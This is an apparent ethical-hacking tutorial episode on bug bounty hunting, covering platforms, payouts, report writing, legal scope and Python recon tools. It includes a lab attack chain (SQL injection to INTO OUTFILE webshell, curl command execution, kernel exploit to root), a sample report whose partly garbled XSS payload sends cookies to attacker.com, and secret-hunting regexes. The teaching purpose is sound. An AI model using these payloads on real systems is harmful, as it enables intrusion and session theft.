Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
What will I learn
- How bug bounty programs work and where to find them;
- HackerOne, Bugcrowd, and direct programs -- choosing your platform;
- What pays: severity tiers, bounty ranges, and what companies actually reward;
- Writing a report that gets paid (not closed as "informative");
- Recon workflows for finding bugs others miss;
- Common mistakes that get reports rejected;
- Building your own subdomain enumeration and endpoint extraction tools.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2;
- Python 3 with relevant libraries;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web (this post)
Solutions to Episode 26 Exercises
Exercise 1 -- Full lab pentest findings:
FINDINGS TABLE -- Metasploitable2 + DVWA Pentest
============================================================
# | Vulnerability | CVSS | Location
---|----------------------------|-------|--------------------
1 | vsftpd 2.3.4 backdoor | 10.0 | 192.168.56.101:21
2 | Unreal IRCd backdoor | 10.0 | 192.168.56.101:6667
3 | Samba usermap script RCE | 10.0 | 192.168.56.101:445
4 | SQL injection (DVWA) | 9.1 | /dvwa/vulnerabilities/sqli/
5 | Command injection (DVWA) | 9.8 | /dvwa/vulnerabilities/exec/
6 | PHP CGI argument injection | 9.8 | 192.168.56.101:80
7 | Distcc daemon code exec | 9.8 | 192.168.56.101:3632
8 | Default Tomcat creds | 9.8 | 192.168.56.101:8180
9 | Stored XSS (DVWA) | 6.1 | /dvwa/vulnerabilities/xss_s/
10 | Weak SSH credentials | 7.5 | 192.168.56.101:22
Exercise 2 -- Pentest report (executive summary):
This penetration test of the lab environment identified 10 vulnerabilities, 7 of which are Critical severity. Three services (vsftpd, UnrealIRCd, Samba) contain backdoors that provide immediate remote code execution without authentication. The web application (DVWA) contains injection vulnerabilities allowing full database extraction. Immediate remediation is required -- any attacker with network access can achieve complete system compromise within minutes.
Exercise 3 -- Vulnerability chain:
Chain: Low -> Critical
Step 1: Information disclosure via Nikto (Low, CVSS 3.7)
Nikto reveals /phpinfo.php -> exposes PHP version, modules, document root
Step 2: SQL injection in DVWA (Critical, CVSS 9.1)
Extract MySQL credentials: root / (empty password)
Step 3: MySQL INTO OUTFILE (escalation)
SELECT '' INTO OUTFILE '/var/www/shell.php'
Step 4: Remote Code Execution via webshell
curl "http://target/shell.php?cmd=id" -> uid=33(www-data)
Step 5: Privilege escalation via kernel exploit
uname -a reveals Linux 2.6.24 -> exploit CVE-2009-1185 -> root
Combined impact: Information disclosure (Low) enabled targeted SQLi (Critical)
which chained into RCE (Critical) then root (Critical).
Individual findings rated Low+Critical = combined Critical with full compromise.
Learn Ethical Hacking (#27) - Getting Paid to Hack the Web
Every technique from the last fifteen episodes can earn you money. Legitimate money. Companies like Google, Facebook, Microsoft, and thousands of others PAY security researchers to find and report vulnerabilities through bug bounty programs. The industry has paid out over a billion dollars in bug bounties since HackerOne launched in 2012. That's not a typo. A billion, with a B.
The economics are straightforward: it's cheaper for a company to pay a researcher $5,000 for a vulnerability than to deal with a breach that costs $5 million. The 2023 IBM Cost of a Data Breach Report puts the average cost of a data breach at $4.45 million. A single SQL injection -- the kind we covered in episodes 12 and 13 -- could expose an entire customer database. The company pays you a fraction of the potential damage to prevent the damage from happening. Both sides win. You get paid, the company gets security, the users get protection.
This is the episode where everything we've covered converges into a career. Not a hobby, not a side project -- a legitimate profession where your skills as a security researcher translate directly into income. Some people do this full-time and earn more than senior software engineers at FAANG companies. The top earner on HackerOne has made over $4 million in lifetime bounties. The top earner on Bugcrowd isn't far behind. And these aren't one-off windfalls -- they're the result of systematic, methodical security research using exactly the techniques we've built up across this entire series.
Ethisch hacken dat geld oplevert. Legaal. Professioneel.
The Bug Bounty Landscape
Before you start testing anything, you need to understand where the programs are and how they differ. There are three main categories: platform-hosted programs, direct programs, and vulnerability disclosure policies (VDPs). Each has different rules, different payout structures, and diferent expectations.
HackerOne is the largest bug bounty platform. Over 2,000 programs including the US Department of Defense, Uber, Twitter (now X), Shopify, Coinbase, and hundreds more. HackerOne has facilitated over $300 million in bounty payments since its founding. The platform handles triage (the process of validating incoming reports), communication between researcher and company, and payment processing. When you submit a report, HackerOne's triage team reviews it before it reaches the company -- this means faster initial responses but also means your report needs to be clear enough for a triage analyst who isn't intimately familiar with the target application.
Bugcrowd is the second largest platform. Programs for Mastercard, Tesla, Twitch, and many others. Bugcrowd differentiates itself with "managed programs" where Bugcrowd provides dedicated triage teams that are experts on the specific target. This generally means higher quality triage and faster resolution, but managed programs tend to be more selective about which researchers they invite.
Intigriti is European-focused and growing rapidly. If you're based in the EU, Intigriti handles GDPR-compliant payment processing and has programs from European companies that may not be on HackerOne or Bugcrowd. Good for EU-based researchers who want to avoid the tax complications of US-based platforms.
Direct programs skip the platform entirely. Google runs its own program at bughunters.google.com. Apple has developer.apple.com/security-bounty. Microsoft runs msrc.microsoft.com/bounty. These programs have their own submission portals, their own triage teams, and often their own bounty schedules. The advantage: no platform fee (HackerOne takes a percentage). The disadvantage: no platform mediation if there's a dispute, and response times can vary wildly.
Vulnerability Disclosure Policies (VDPs) are programs without bounties. The company says "please tell us if you find something, but we're not paying." These exist primarily for legal protection -- the VDP gives you explicit permission to test, which keeps you on the right side of the law (remember episode 1: the techniques are the same whether you're a criminal or a researcher, the AUTHORIZATION is the difference). VDPs are useful for building your reputation and your portfolio, but they don't pay rent.
Platform comparison:
HackerOne:
- Programs: 2,000+
- Payout total: $300M+
- Triage: platform-handled or self-managed
- Payment: via platform (bank, PayPal, crypto)
- Reputation: public hacker profile with stats
- URL: hackerone.com
Bugcrowd:
- Programs: 1,000+
- Payout total: $100M+
- Triage: managed by Bugcrowd or self-managed
- Payment: via platform
- Reputation: leaderboard system
- URL: bugcrowd.com
Intigriti:
- Programs: 300+
- Focus: European companies
- Triage: managed
- Payment: EU-compliant
- URL: intigriti.com
Direct programs (no platform):
- Google: bughunters.google.com (top bounty: $605,000)
- Apple: developer.apple.com/security-bounty (up to $2M for iOS chain)
- Microsoft: msrc.microsoft.com/bounty
What Actually Pays
This is what everyone wants to know, so let's get into the numbers. Bounty amounts vary enormously depending on the company, the severity of the vulnerability, and the quality of your report. Having said that, there are general patterns:
| Finding | Typical Range | Top Programs |
|---|---|---|
| Low (info disclosure, minor config) | $100-$500 | $500-$1,000 |
| Medium (stored XSS, CSRF with impact) | $500-$3,000 | $3,000-$5,000 |
| High (SQL injection, auth bypass, IDOR) | $3,000-$15,000 | $10,000-$30,000 |
| Critical (RCE, account takeover, full chain) | $10,000-$50,000 | $50,000-$100,000+ |
Google's top single bounty: $605,000 for an Android exploit chain in 2023. Apple offers up to $2 million for a full iOS kernel exploit chain with persistence. These are the extreme end -- but even "normal" critical findings at well-funded programs pay $10,000-$25,000 for a single report. That's real money for a few days of work.
The catch: competition is fierce. The easy bugs are gone. Thousands of researchers are testing the same targets. Finding a vulnerability that nobody else found requires either going deeper than everyone else (testing features that are new, obscure, or complex) or going wider (finding subdomains and assets that other researchers missed during recon). The reconnaissance techniques from episode 4 and the scanning methodology from episode 5 are directly applicable here -- the better your recon, the more unique attack surface you discover, the higher your chances of finding something nobody else has.
Finding Your First Bug
Here's the secret that experienced bounty hunters know: don't start with Google. Don't start with Facebook. Don't start with any of the big names. The competition on those programs is INSANE -- hundreds of researchers testing every endpoint, every parameter, every header. The easy bugs were found years ago. What's left requires deep expertise in the application's specific technology stack, knowledge of undocumented features, and sometimes just dumb luck.
Instead, start with smaller programs where competition is lower and the attack surface is wider:
Strategy for your first bug bounty:
1. Sign up on HackerOne and Bugcrowd
2. Filter programs by:
- "Managed" (faster triage, less frustration)
- "Bounty" (you want to get paid)
- "Response time < 7 days" (slow programs are demotivating)
- Scope: WIDE (*.company.com is better than just app.company.com)
3. Pick 2-3 targets and FOCUS on them
- Learn the application deeply -- use it as a real user
- Read every page, click every button, fill every form
- Understand what the application DOES before attacking what it IS
4. Start with recon (Episode 4):
- Find subdomains other hunters missed
- Find staging/dev environments that might have weaker controls
- Find old/forgotten assets that haven't been patched
5. Focus on business logic flaws (Episode 22):
- Scanners can't find them -- this is YOUR advantage
- Negative quantities, race conditions, bypassing payment flows
- These require understanding the business, not just the code
6. Test new features first:
- Recently launched code has the most bugs
- Follow the company's blog/changelog for announcements
- When a new feature drops, be the first researcher testing it
7. Read disclosed reports on the platform:
- Learn what works against THIS specific target
- Understand what the triage team considers valid vs invalid
- Some researchers publish their methodology -- learn from it
That third point deserves emphasis. Many beginner bounty hunters spray automated scanners at 50 programs simultaneously and wonder why they find nothing. The researchers who make real money pick a small number of targets and LEARN them deeply. They know the application's business logic, its technology stack, its deployment architecture, its API structure. That depth of knowledge is what lets them find the business logic flaw that no scanner detects and no drive-by researcher notices.
The Report That Gets Paid
Finding a vulnerability is half the job. Writing a report that gets accepted, properly rated, and paid -- that's the other half. A terrible report on a critical vulnerability can get closed as "informative" (no payout). A clear, well-structured report on a medium vulnerability can get a bounty above the usual range because the triage team appreciates the effort. The report IS the product, exactly like we discussed in episode 26 for pentest reports.
Here's the template that works:
## Title: Stored XSS via Profile Bio Allows Session Hijacking
### Summary
The user profile biography field does not sanitize HTML input,
allowing stored XSS that executes in the context of any user
who views the attacker's profile.
### Severity
High (CVSS 8.1)
### Steps to Reproduce
1. Login to account at https://app.company.com/login
2. Navigate to Settings > Profile
3. In the "Bio" field, enter:
https://attacker.com/steal?c='+document.cookie)">
4. Save profile
5. Open an incognito browser, login as a different user
6. Navigate to the attacker's profile page
7. Observe: JavaScript executes in the victim's browser context
### Impact
An attacker can steal session tokens of any user who views their
profile, leading to full account takeover. On a platform with
public profiles, this affects every user. Combined with the
platform's 2M monthly active users, this represents a mass
account compromise vector.
### Proof of Concept
[Screenshot of the XSS payload firing in the victim's browser]
[Network tab showing the cookie exfiltration request]
### Remediation
Apply HTML entity encoding to the bio field output.
Implement Content-Security-Policy to block inline scripts.
Consider using a sanitization library like DOMPurify for
fields that need to support some HTML formatting.
Notice the structure. Title is specific and includes the impact (not just "XSS found"). Summary is one paragraph. Steps to Reproduce are numbered, exact, and can be followed by someone who has never used the application before. Impact explains WHY it matters in business terms, not just technical terms. Remediation tells the developer exactly what to do to fix it. Every section serves a purpose, every sentence earns its place.
The steps to reproduce are THE most critical part. If the triage analyst can't reproduce your bug from your steps, the report gets closed. Be exact. Include URLs, parameters, cookie values, request headers -- everything. Copy the actual HTTP request from Burp Suite if you need to. Don't assume the reader knows how the application works. Write it so that someone who has never seen the target before can reproduce the vulnerability in under 5 minutes.
Common Mistakes That Get Reports Closed
These are the mistakes I see again and again. Learn from them before you make them yourself:
1. Self-XSS. You paste a payload into YOUR OWN browser's console, it executes, and you report it as XSS. This is not a vulnerability. Nobody else is affected. The attacker would need to be logged into the victim's account to execute the payload -- at which point they already have access and don't need XSS. Every triage team in the world rejects self-XSS.
2. Missing best practices reports. "Your site doesn't have the X-Frame-Options header" is not a vulnerability unless you can demonstrate actual clickjacking impact. "Your cookies don't have the Secure flag" is not a vulnerability unless the application is accessible over HTTP and you can demonstrate session hijacking via a network attacker. Security headers are defense-in-depth measures. Their absence is an informational finding, not a bounty-eligible vulnerability, unless you can show concrete exploitation.
3. Duplicates. Someone already reported it. This is frustrating, especially if you spent hours on the finding. Before submitting, check the program's disclosed reports for similar findings. Some programs show "resolved" reports publicly. If someone reported the same SSRF endpoint three months ago and it's still unfixed, submitting it again wastes your time and theirs.
4. Out of scope. Read the scope document CAREFULLY. Testing the company's email server when only the web application is in scope will get your report closed. Testing a third-party service that the application integrates with (like Stripe or Cloudflare) is out of scope for the application's program -- those services have their own bug bounty programs. Testing production databases when the scope says "staging only" can get you banned from the platform.
5. Theoretical impact without proof of concept. "This endpoint COULD be vulnerable to SQL injection because it uses user input" is not a finding. Show it. Demonstrate the injection. Extract data. If you can't demonstrate exploitation, you have a hypothesis, not a vulnerability. Some programs explicitly state "PoC required" in their policy. Even programs that don't require it will always pay more for reports with working exploitation.
6. Spray-and-pray scanning. Running Burp Scanner or Nikto against every URL in scope and dumping the raw scanner output into a report. Triage teams hate this. Scanner output is full of false positives. The report demonstrates zero human analysis. Either verify each finding manually and write it up properly, or don't submit it.
Building a Bug Bounty Recon Workflow
The single biggest differentiator between successful bounty hunters and unsuccessful ones is recon quality. Everyone tests the main application. The researchers who find bugs consistently are the ones who find the forgotten staging server, the undocumented API, the old microservice running an unpatched framework. The main application has been tested by hundreds of researchers. The staging.internal.company.com subdomain that someone forgot to restrict? Maybe nobody's looked at that one.
# Step 1: Subdomain enumeration (multiple sources for coverage)
subfinder -d target.com -o subs.txt
amass enum -passive -d target.com >> subs.txt
sort -u subs.txt -o subs.txt
# Step 2: DNS resolution (which subdomains are actually alive?)
httpx -l subs.txt -o alive.txt
# Step 3: Technology fingerprinting
cat alive.txt | httpx -tech-detect -o tech.txt
# Step 4: JavaScript file discovery (hidden endpoints live here)
cat alive.txt | gau | grep "\.js$" | sort -u > js-files.txt
# Step 5: Parameter discovery on interesting endpoints
arjun -u https://target.com/api/search -m GET
# Step 6: Screenshot all live subdomains (visual triage)
gowitness file -f alive.txt
# Step 7: Focused manual testing with Burp Suite
# This is where the skill matters -- the tools above just prepare the surface
Each of those steps maps to techniques we covered earlier in the series. Subfinder and amass are passive reconnaissance (episode 4). httpx and technology fingerprinting are active scanning (episode 5). JavaScript analysis reveals hidden API endpoints (episode 21). Parameter discovery sets up injection testing (episodes 12-15). The methodology isn't new -- we're chaining techniques from across the series into a bounty-focused workflow.
Subdomain Enumeration Script
This Python script combines certificate transparency logs with DNS resolution and HTTP probing. It's the foundation of any bounty recon workflow:
#!/usr/bin/env python3
"""subdomain_enum.py - Multi-source subdomain enumeration."""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor, as_completed
import socket
def crtsh_lookup(domain):
"""Query crt.sh certificate transparency logs."""
url = f"https://crt.sh/?q=%.{domain}&output=json"
try:
r = requests.get(url, timeout=30)
if r.status_code == 200:
data = r.json()
subs = set()
for entry in data:
name = entry.get("name_value", "")
for line in name.split("\n"):
line = line.strip().lower()
if line.endswith(domain) and "*" not in line:
subs.add(line)
return subs
except Exception as e:
print(f" [!] crt.sh error: {e}")
return set()
def dns_resolve(subdomain):
"""Check if subdomain resolves to an IP."""
try:
ip = socket.gethostbyname(subdomain)
return (subdomain, ip)
except socket.gaierror:
return None
def check_http(subdomain):
"""Check if subdomain serves HTTP/HTTPS."""
for proto in ["https", "http"]:
try:
r = requests.get(
f"{proto}://{subdomain}",
timeout=5, allow_redirects=True
)
return (subdomain, proto, r.status_code, len(r.text))
except:
continue
return None
def main():
if len(sys.argv) < 2:
print("Usage: python3 subdomain_enum.py ")
sys.exit(1)
domain = sys.argv[1]
print(f"\n[*] Enumerating subdomains for: {domain}\n")
# Phase 1: Certificate Transparency
print("[*] Querying crt.sh (certificate transparency)...")
subs = crtsh_lookup(domain)
print(f" Found {len(subs)} unique subdomains from crt.sh")
# Phase 2: DNS resolution
print("\n[*] Resolving DNS for discovered subdomains...")
alive = []
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(dns_resolve, s): s for s in subs}
for future in as_completed(futures):
result = future.result()
if result:
alive.append(result)
print(f" {result[0]} -> {result[1]}")
# Phase 3: HTTP probing
print(f"\n[*] Probing {len(alive)} live hosts for HTTP...")
http_alive = []
with ThreadPoolExecutor(max_workers=10) as pool:
futures = {pool.submit(check_http, s[0]): s for s in alive}
for future in as_completed(futures):
result = future.result()
if result:
http_alive.append(result)
sub, proto, status, size = result
print(f" [{status}] {proto}://{sub} ({size:,} bytes)")
print(f"\n[+] Total subdomains found: {len(subs)}")
print(f"[+] Resolving to IP: {len(alive)}")
print(f"[+] Serving HTTP: {len(http_alive)}")
# Save results
outfile = f"{domain}-subdomains.txt"
with open(outfile, 'w') as f:
for sub, ip in sorted(alive):
f.write(f"{sub},{ip}\n")
print(f"[+] Saved to {outfile}")
if __name__ == "__main__":
main()
Run it against any bug bounty target (this is passive recon only -- certificate transparency logs are public records, no active scanning involved):
python3 subdomain_enum.py example.com
The beauty of certificate transparency is that it's completely passive. When a company issues an SSL certificate for staging.internal.company.com, that certificate gets logged in public CT logs. You're not scanning the company's network. You're reading public records. And those public records reveal subdomains that directory brute force would never find because "staging.internal" isn't in any wordlist.
JavaScript Endpoint Extraction
Bug bounty gold hides in JavaScript files. Modern web applications ship enormous JavaScript bundles that contain hardcoded API endpoints, internal URLs, AWS keys (yes, really), and other secrets that developers never intended to be public. The JavaScript is served to every visitor's browser -- it's public by definition -- but almost nobody reads it ;-)
#!/usr/bin/env python3
"""js_endpoint_extract.py - Extract API endpoints from JavaScript files."""
import re
import sys
import requests
def extract_endpoints(js_content):
"""Pull API paths, URLs, and interesting strings from JS."""
patterns = {
'api_paths': r'["\'](/api/[a-zA-Z0-9_/\-]+)["\'\s]',
'full_urls': r'https?://[a-zA-Z0-9.\-]+(?:/[a-zA-Z0-9_/\-.?=&]+)',
'graphql': r'(?:query|mutation)\s+\w+',
'secrets': r'(?:api[_-]?key|token|secret|password|auth)'
r'\s*[:=]\s*["\'](\S+)["\']',
'aws_keys': r'AKIA[0-9A-Z]{16}',
's3_buckets': r'[a-zA-Z0-9.-]+\.s3\.amazonaws\.com',
}
findings = {}
for name, pattern in patterns.items():
matches = re.findall(pattern, js_content, re.IGNORECASE)
if matches:
findings[name] = list(set(matches))
return findings
def main():
if len(sys.argv) < 2:
print("Usage: python3 js_endpoint_extract.py ")
sys.exit(1)
target = sys.argv[1]
if target.startswith("http"):
r = requests.get(target, timeout=15)
content = r.text
print(f"[*] Fetched {len(content):,} bytes from {target}")
else:
with open(target) as f:
content = f.read()
print(f"[*] Read {len(content):,} bytes from {target}")
findings = extract_endpoints(content)
if not findings:
print("\n[-] No interesting endpoints found")
return
for category, items in findings.items():
print(f"\n[{category}] ({len(items)} found)")
for item in sorted(items)[:20]:
print(f" {item}")
if len(items) > 20:
print(f" ... and {len(items) - 20} more")
if __name__ == "__main__":
main()
# Grab all JS files from a target and extract endpoints
for url in $(cat js-files.txt); do
echo "--- $url ---"
python3 js_endpoint_extract.py "$url"
done
What you find in JavaScript files during bug bounty recon:
- Undocumented API endpoints that aren't in the Swagger docs and might have weaker access controls
- Admin/internal endpoints that are only supposed to be called by the frontend but have no server-side authorization check
- API keys for third-party services (Google Maps, Stripe publishable keys, analytics tokens -- sometimes even secret keys)
- AWS access key IDs (the
AKIAprefix is a dead giveaway) that someone hardcoded instead of using environment variables - S3 bucket names that might be publicly accessible or have misconfigured permissions
- GraphQL operation names that reveal the schema and available mutations
Finding an exposed AWS key in a JavaScript bundle is an instant critical. Report that, and you're looking at $5,000-$15,000+ depending on the program. The developer thought "it's just the frontend, nobody reads the source" -- but the source is delivered to every visitor's browser. "Security through obscurity" is not security at all, as we discussed all the way back in episode 1.
Automated Report Template Generator
When you're submitting multiple reports, having a consistent template saves time and improves quality. This script generates a properly formatted bug bounty report from your inputs:
#!/usr/bin/env python3
"""report_gen.py - Generate a markdown bug bounty report template."""
import sys
from datetime import date
def generate_report(title, severity, url, param, desc,
steps, impact, fix):
return f"""## {title}
**Date**: {date.today()}
**Severity**: {severity}
**URL**: `{url}`
**Parameter**: `{param}`
### Description
{desc}
### Steps to Reproduce
{steps}
### Impact
{impact}
### Suggested Fix
{fix}
### References
- OWASP: https://owasp.org/www-community/attacks/
- CWE: https://cwe.mitre.org/
"""
# Example: generate a report for an XSS finding
report = generate_report(
title="Stored XSS via Comment Field",
severity="High (CVSS 7.5)",
url="https://app.target.com/posts/123/comments",
param="comment_body (POST)",
desc=(
"The comment field accepts arbitrary HTML/JavaScript "
"without sanitization. Stored payloads execute in every "
"user's browser who views the post."
),
steps=(
"1. Navigate to any post's comment section\n"
"2. Submit comment with body: "
"`
`\n"
"3. View the post as a different user\n"
"4. Observe: JavaScript executes, cookie displayed"
),
impact=(
"Attacker can steal session cookies from any user "
"viewing the post. Combined with the 50,000+ daily "
"active users, this affects the entire userbase."
),
fix=(
"Apply context-aware output encoding (HTML entity "
"encoding for HTML context). Implement CSP header "
"with `script-src 'self'`."
),
)
print(report)
Bug Bounty Scope Analysis Tool
Before spending hours testing a target, you need to understand the scope. This script pulls program details and helps you prioritize:
#!/usr/bin/env python3
"""
scope_analyzer.py - Analyze a bug bounty program's scope
and generate a testing plan.
"""
import json
def analyze_scope(program):
"""Take a program definition and produce a prioritized test plan."""
name = program.get("name", "Unknown")
in_scope = program.get("in_scope", [])
out_scope = program.get("out_scope", [])
bounty_range = program.get("bounty_range", {})
print(f"\n{'='*60}")
print(f" SCOPE ANALYSIS: {name}")
print(f"{'='*60}")
# Categorize in-scope assets
web_targets = []
api_targets = []
wildcard_targets = []
for asset in in_scope:
url = asset.get("url", "")
if "*" in url:
wildcard_targets.append(url)
elif "/api" in url or "api." in url:
api_targets.append(url)
else:
web_targets.append(url)
print(f"\n In-scope assets: {len(in_scope)}")
if wildcard_targets:
print(f" [!] WILDCARD scope: {len(wildcard_targets)}")
for t in wildcard_targets:
print(f" {t}")
print(" -> Subdomain enumeration is HIGH priority")
if api_targets:
print(f" API targets: {len(api_targets)}")
for t in api_targets:
print(f" {t}")
if web_targets:
print(f" Web targets: {len(web_targets)}")
for t in web_targets:
print(f" {t}")
# Prioritized test plan
print(f"\n PRIORITIZED TEST PLAN:")
print(f" {'='*40}")
priority = 1
if wildcard_targets:
print(f" {priority}. Subdomain enumeration (wide scope)")
print(f" -> subfinder, amass, crt.sh")
print(f" -> Look for staging, dev, internal, old assets")
priority += 1
print(f" {priority}. Technology fingerprinting")
print(f" -> Identify frameworks, libraries, versions")
priority += 1
if api_targets:
print(f" {priority}. API security testing (Ep 21)")
print(f" -> BOLA/IDOR, mass assignment, auth bypass")
priority += 1
print(f" {priority}. Business logic testing (Ep 22)")
print(f" -> The bugs scanners CANT find")
priority += 1
print(f" {priority}. Injection testing (Ep 12-15)")
print(f" -> SQLi, XSS on all input vectors")
priority += 1
print(f" {priority}. Auth and session testing (Ep 17)")
print(f" -> Token handling, password reset, MFA bypass")
# Bounty info
if bounty_range:
print(f"\n BOUNTY RANGE:")
for severity, amount in bounty_range.items():
print(f" {severity}: {amount}")
# Out of scope warnings
if out_scope:
print(f"\n OUT OF SCOPE (do NOT test):")
for item in out_scope:
print(f" - {item}")
print(f"\n{'='*60}\n")
# Example program
example = {
"name": "ExampleCorp Bug Bounty",
"in_scope": [
{"url": "*.examplecorp.com", "type": "wildcard"},
{"url": "https://api.examplecorp.com", "type": "api"},
{"url": "https://app.examplecorp.com", "type": "web"},
{"url": "https://admin.examplecorp.com", "type": "web"},
],
"out_scope": [
"Third-party services (Stripe, AWS infrastructure)",
"Physical/social engineering",
"DDoS/DoS testing",
"Employee email accounts",
],
"bounty_range": {
"Critical": "$5,000 - $20,000",
"High": "$2,000 - $5,000",
"Medium": "$500 - $2,000",
"Low": "$100 - $500",
}
}
analyze_scope(example)
The Economics of Bug Bounty Hunting
Let's talk about the economics honestly, because the "top earner made $4 million!" headline obscures the reality for most researchers.
The income distribution in bug bounty is extremely skewed. The top 1% of researchers earn the majority of the bounties. The median bounty hunter earns... not very much. A 2023 HackerOne report showed that the median researcher earned less than $1,000 per year. The top 10% earned over $100,000. This is a power law distribution -- a few researchers earn a LOT, and the long tail earns very little.
Why? Because bug bounty is competitive. The easy bugs -- the reflected XSS on the login page, the missing rate limiting, the IDOR on the user profile endpoint -- those get found by the first researcher to look. If you're not the first, you get a duplicate report and zero payout. The harder bugs -- the business logic flaw that requires deep understanding of the application, the second-order SQL injection, the race condition in the payment flow -- those take time, skill, and persistence.
The researchers who earn six figures treat it as a full-time job. They have a portfolio of 5-10 programs they know deeply. They have automated recon running continuously that alerts them when a target adds new assets. They have custom tooling for their specific targets. They invest weeks in understanding a single application before finding a single bug. This is NOT "run a scanner, file a report, collect money." This is professional security research with an entrepreneurial compensation model.
Having said that, the entry point is accessible. You don't need a security certfication. You don't need a computer science degree. You don't need prior work experience. You need the skills -- which this series has been building for 26 episodes -- and the persistence to keep testing when you don't find anything for days or weeks. Your first bug might take a month. Your second might take a week. By the tenth, you've developed an instinct for where to look and what patterns indicate vulnerability.
Het verschil tussen hobby en beroep is doorzettingsvermogen.
Bug Bounty Ethics and Legal Boundaries
This is critical. Bug bounty programs give you EXPLICIT authorization to test within a defined scope. That authorization is the legal shield that keeps you on the right side of the Computer Fraud and Abuse Act (US), the Computer Misuse Act (UK), or similar laws in other jurisdictions. Without that authorization, the exact same activity is a criminal offense.
Key rules:
Stay in scope. If the program says test app.company.com, don't test mail.company.com. If the program says "web application only", don't scan the company's network infrastructure. Scope violations can get you banned from the platform and potentially prosecuted.
Don't access real user data. If your SQL injection extracts the users table, stop at proving it works (extract your own test account or the first row with LIMIT 1). Don't dump the entire database. Don't download customer records. The PoC should demonstrate the vulnerability without causing actual data breach. Most programs explicitly state: "minimize data access" or "do not exfiltrate production data."
Don't cause disruption. Avoid DoS conditions, don't delete data, don't modify other users' accounts. If your testing might cause disruption (race conditions, resource exhaustion), coordinate with the program's security team first.
Report promptly. Don't sit on a critical vulnerability for weeks while you write the perfect report. Report it immediately with a preliminary writeup and refine the report later. The company needs to know about critical issues ASAP -- there might be someone else who found it too, and that someone might not have your ethics.
One bug, one report. Don't combine unrelated findings into a single report to inflate severity. Each vulnerability gets its own report. If findings chain together (like we discussed in episode 26), you can submit the chain as one report with the individual findings noted, but don't pad reports with unrelated low-severity observations to justify a higher bounty.
Building a Target Monitoring System
Experienced bounty hunters don't test once and move on. They continuously monitor their target programs for changes -- new subdomains, new endpoints, new features, new assets. When something new appears, they test it before the crowd arrives:
#!/usr/bin/env python3
"""
target_monitor.py - Monitor a bug bounty target for changes.
Run periodically (daily via cron) to catch new attack surface.
"""
import os
import sys
import json
import socket
import requests
from datetime import datetime
MONITOR_DIR = os.path.expanduser("~/bb-monitor")
def load_previous(domain):
"""Load previous scan results for comparison."""
path = f"{MONITOR_DIR}/{domain}-state.json"
if os.path.exists(path):
with open(path) as f:
return json.load(f)
return {"subdomains": [], "timestamp": None}
def save_state(domain, state):
"""Save current scan state."""
os.makedirs(MONITOR_DIR, exist_ok=True)
path = f"{MONITOR_DIR}/{domain}-state.json"
with open(path, 'w') as f:
json.dump(state, f, indent=2)
def get_subdomains(domain):
"""Quick subdomain enum via crt.sh."""
url = f"https://crt.sh/?q=%.{domain}&output=json"
try:
r = requests.get(url, timeout=30)
if r.status_code == 200:
subs = set()
for entry in r.json():
for line in entry.get("name_value", "").split("\n"):
line = line.strip().lower()
if line.endswith(domain) and "*" not in line:
subs.add(line)
return sorted(subs)
except Exception as e:
print(f"[!] crt.sh error: {e}")
return []
def main():
if len(sys.argv) < 2:
print("Usage: python3 target_monitor.py ")
sys.exit(1)
domain = sys.argv[1]
previous = load_previous(domain)
prev_subs = set(previous.get("subdomains", []))
print(f"[*] Monitoring: {domain}")
print(f"[*] Previous scan: {previous.get('timestamp', 'never')}")
print(f"[*] Previously known: {len(prev_subs)} subdomains\n")
current_subs = get_subdomains(domain)
curr_set = set(current_subs)
new_subs = curr_set - prev_subs
removed_subs = prev_subs - curr_set
if new_subs:
print(f"[!] NEW SUBDOMAINS ({len(new_subs)}):")
for s in sorted(new_subs):
# Check if it resolves
try:
ip = socket.gethostbyname(s)
print(f" + {s} -> {ip} <-- TEST THIS")
except socket.gaierror:
print(f" + {s} (does not resolve)")
else:
print("[*] No new subdomains found")
if removed_subs:
print(f"\n[*] Removed subdomains ({len(removed_subs)}):")
for s in sorted(removed_subs):
print(f" - {s}")
# Save current state
state = {
"subdomains": current_subs,
"timestamp": datetime.now().isoformat(),
"new_count": len(new_subs),
"total": len(current_subs),
}
save_state(domain, state)
print(f"\n[+] Total subdomains: {len(current_subs)}")
